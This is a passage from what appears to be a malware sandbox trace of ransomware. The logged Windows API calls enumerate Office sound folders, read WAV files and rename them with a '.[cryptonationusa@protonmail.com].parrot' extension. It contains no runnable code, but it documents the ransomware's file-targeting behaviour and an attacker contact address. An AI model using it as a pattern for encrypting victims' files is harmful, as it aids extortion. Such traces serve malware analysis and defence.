ftLastAccessTime.dwLowDateTime=0xfab06080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfab06080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.667] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaa479a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COUGHW~1.PAR")) returned 1 [0185.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.677] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.677] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.677] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.677] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.677] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0185.677] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.677] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.679] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.679] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84e0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x84e0, lpOverlapped=0x0) returned 1 [0185.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.697] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.701] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.701] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb78, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xeb78, lpOverlapped=0x0) returned 1 [0185.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.729] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.729] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.730] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.730] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd686, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd686, lpOverlapped=0x0) returned 1 [0185.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.738] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.738] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.739] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.740] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100ea, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100ea, lpOverlapped=0x0) returned 1 [0185.758] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.768] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.803] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.804] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd64a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd64a, lpOverlapped=0x0) returned 1 [0185.818] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.831] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.831] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.833] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.833] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea72, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xea72, lpOverlapped=0x0) returned 1 [0185.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.863] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.863] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.867] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.868] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae8a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xae8a, lpOverlapped=0x0) returned 1 [0185.869] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.878] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.878] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfad1b3c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfad1b3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.879] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfab52340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8608, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ALARMW~1.PAR")) returned 1 [0185.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.881] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.881] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.881] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.881] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.881] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0185.881] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.882] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.883] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.883] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8fc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc8fc, lpOverlapped=0x0) returned 1 [0185.885] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.891] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.891] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.914] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.915] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9f18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9f18, lpOverlapped=0x0) returned 1 [0185.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.924] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.924] ReadFile (in: hFile=0x284, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.929] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa412, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa412, lpOverlapped=0x0) returned 1 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0185.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0185.933] GetLastError () returned 0x0 [0185.933] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0185.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0185.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2298050 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d8528 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31bc468 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d8528 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31bc468 | out: hHeap=0x5b0000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x22e2098 [0185.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: 